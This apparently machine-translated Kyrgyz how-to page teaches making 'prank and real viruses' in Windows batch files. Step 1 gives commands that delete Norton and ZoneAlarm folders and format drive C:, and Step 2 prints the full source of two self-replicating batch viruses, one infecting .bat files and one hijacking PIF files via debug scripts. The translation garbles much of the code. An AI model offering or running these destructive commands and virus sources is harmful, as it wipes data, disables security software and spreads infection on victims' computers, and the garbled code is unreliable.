Пакеттик трюктар жана вирустар: 3 кадам

2024 Автор: John Day | [email protected]. Акыркы өзгөртүү: 2024-01-30 10:43

BATCH'те пранк жана реалдуу вирустарды кантип жасоо керек: Мен сиздин компьютериңизге башка бирөөнүн компьютерине тийгизген зыяныңыз үчүн жооп бербейм

1 -кадам: Чыныгы вирустар (жөнөкөй адамдар)

биринчиси: кодду көчүрүү *************************************** ********: / progra ~ 1 / norton ~ 1 @echo азыр y деп терип, enter басуу керек @pause del c: / progra ~ 1 / Norton ~ 1 @pause c: dir @pause @dir c: / progra ~ 1 dir c: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra ~ 1 / zonea ~ 1 / zonealarm @echo ok эми сиздин компьютериңиз "ЧЫНДАН!" Тез: чыгуу ********************************************* *Эскертүү: файлды каалаган нерсеңизди сактаңыз.bat Эскертүү: @echo кийин болгон нерсенин бардыгын өзгөртүүгө болот (каалаганын жаза аласыз) Экинчиси: *************** түс 02FORMAT C: ***************

2 -кадам: Чыныгы вирустар (өнүккөндөр)

1. Эң күчтүү *******************@эгер болбосо '%0 ==' эгер '%_melt%==' goto meltbeg:: ---- dummy алып баруучу --------@echo offecho Салам Дүйнө!:: ---- бүтүрүүчү хост ----@goto MeLTend [MeLT_2a]: MeLTbeg@echo өчүрүү%_MeLT%if '%1 ==' MeLT goto MeLT %2 эгер жок болсо %comspec %set comspec = %_ MeLT %команда % %comspec % /e: 5000 /c %0 MeLT virset MeLTcl = %1 %2 %3 %4 %5 %6 %7 %8 %9 чалуу % 0 MeLT rhset _MeLT = MeLTcl = goto MeLTend: MeLTrhset _MeLT = x%0%MeLTcl%: MeLTvirset MeLTH =%0 жок болсо%_MeLT %% temp%\ nul темп =%tmp%бар болсо%temp%\ MeLT_2a бар MeLTrun%0 MeLT fnd. %path%: MeLTfndshift%_MeLT%if '%2 ==' MeLTset MeLT =%2 \%MeLTH%.batif жок%MeLT%set MeLT =%2 \%MeLTH%жок болсо%MeLT%MeLT = койду %2%MeLTH%.batif жок%MeLT%коюлган MeLT =%2%MeLTH%жок болсо%MeLT%goto MeLTfndfind "MeLT"%temp%\ MeLT_2aattrib%temp%\ MeLT_2a +h: MeLTrun%MeLTH%MeLT s…%path%: MeLTsshift%_MeLT%if '%2 ==' MeLTfor %% a in (%2 \*. bat%2*.bat)%MeLTH%MeLT inf %% MeLTs: MeLTinffind / i "MeLT" nulif not errorlevel 1 goto MeLTnoecho @if '%% 0 ==' if '%% _ melt %% ==' got meltbeg> MeLT.ttype%3 >> MeLT.techo. >> MeLT.ttype% temp %\ MeLT_2a >> MeLT.tmove MeLT.t %3> nulexit MeLT: MeLTact - жарк этип экрандын тексти нормалдуу абалга келтирилет 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =%MeLTC%1if%MeLTC%== 1111111111 goto MeLTact: MeLTend *********************************** ******** 2. Бул Windows тарабынан DOS программаларын иштетүү үчүн колдонулган PIF файлдарын "жуктурган" вирус. Бул көчүрмөлөрдү камтыган жашыруун шериктеш партияларды түзүү менен иштейт, андан кийин шериктеш партиясы биринчи иштеши үчүн PIF файлын өзгөртөт. Шериктеш иштегенден кийин, анын аты шеригине коддолгон баштапкы хост программасын иштетет. Pif файлдары кайра жуктурулбашы үчүн белгиленген. Пифтер гана жабыркайт, жуккан программаларга эч кандай өзгөртүүлөр киргизилбейт. "Айыктыруу" үчүн, баштапкы файл аттарын калыбына келтирүү үчүн PIFEDITти колдонуңуз, андан кийин жашыруун файлдарды жок кылыңыз. ******************************* ***************@echo өчүрүү:: хост файлынын аты… pifvo = LIST. COM:: цикл диспетчери… if '%1 ==' PiFV goto PiFV_%2:: run virus! set _PiFV = жок болсо%comspec%set comspec = C: / COMMAND. COM%_PiFV %% comspec% /e: 5000 /c%0 PiFV go> nulif PiFV бар! del PiFV!:: хостту башкарыңыз PiFVcl = %1 %2 %3 %4 %5 %6 %7 %8 %9чалуу %0 PiFV hstset PiFVo = PiFVcl =:: активдештирүүнү текшериңиз… echo. | дата | табуу / i "sat"> nul. PiFVif errorlevel 1 goto PiFV_endecho. | time | find "7"> nul. PiFVif errorlevel 1 goto PiFV_msgset PiFV = echocls%_PiFV %% PiFV%.%PiFV%Бир кезде Осцер%PiFV аттуу оттер болгон. % Ким сууну кантип жасоону билем деп ырастады.% PiFV% "Эми дамбалар жок", - деди ал, "анын ордуна менин суумду колдон!"% PiFV% Бирок, аксакал Отер таасирленген эмес.pause> nul. PiFVset PiFV = goto PiFV_end: PiFV_msgecho [PiFV] by WaveFuncgoto PiFV_end: PiFV_hst%PiFVo%%PiFVcl%goto PiFV_end: PiFV_goset PiFVh =%0 жок болсо%PiFVh%орнотулган PiFVh =%0.batif%%PiFVh ичинде эмес (%aPif%ичинде). чалуу %0 PiFV inf %% aexit PiFV: PiFV_infset PiFVp = %3:: жабырлануучунун файлынын аталышын жана инфекция белгилерин алуу:: мүчүлүштүктөрдү оңдоо аркылуу PIF файлынан… эгер PiFV бар болсо! goto PiFV_1echo m 124, 162 524> PiFV! echo e 100 '@set fn =' >> PiFV! echo m 524, 562 108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! Echo w >> PiFV! Echo m 55E, 561 108 >> PiFV! Echo e 10C 0 >> PiFV! Echo n pifv $$. Bat >> PiFV! Echo rcx >> PiFV! Echo 10 >> PiFV! Echo w >> PiFV! Echo q >> PiFV!: PiFV_1дебуг%PiFVp%nulcall PiFV $ set PiFVn =%fn%чалуу PiFV $$ PiFVi =%fn%del PiFV $ ?. bat:: pifvn = ориг файл аты:: pifvi = инфекция белгилеги:: pifvp = pif файл аталышы:: pifvh = шериктеш жарганат файлы:: жуккан же "бош" пифтерди өткөрүп жиберүү… эгер '%PiFVi%==' PiFV goto PiFV_endif '%PiFVn%==' goto PiFV_end:: команданы көлөкө кылбаңыз.com echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho%PiFVn%| PiFV $> PiFV $$. Batcall PiFV $$ set PiFVb =%fn%.batdel PiFV $?.*:: pifvb = жаңы топтун аты:: эгер комп окшош болсо көлөкө кылбаңыз hostif катары атоо%PiFVo%==%PiFVb%goto PiFV_endif бар%PiFVb%goto PiFV_endecho @echo off>%PiFVb%echo set pifvo =%pifvn%>>%PiFVb%find "PiFV">%PiFVb%attrib%PiFVb% +h::… жана PIFти шериктешке e 15E 'PiFV', 0> PiFV $$ echo e 124 '%PiFVb%', 0 >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ мүчүлүштүктөрдү %PiFVp %nuldel PiFV $$:: Мен бүттүк деп ойлойм! PiFVден чыгуу: PiFV_end:: мунун баарында канча мүчүлүштүктөр бар? Бир гана:: билүүнүн жолу … *************************************** **********

3 -кадам: Пранк вирусу жана трюк

1. пранк вирус ******************* түс 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo* ************************* Эскертүү: "02 түсү" Текстти green2.trick (матрицанын коду) кылуу үчүн ****** **************************@echo offcolor 02: startecho %кокустук % %туш келди % %кокустук %кокус % %туш келди % %туш келди % % туш келди%% туш келди%% туш келди%% туш келди%% туш келди%% туш келди%% туш келди% кокус% туш келди ************************ ******************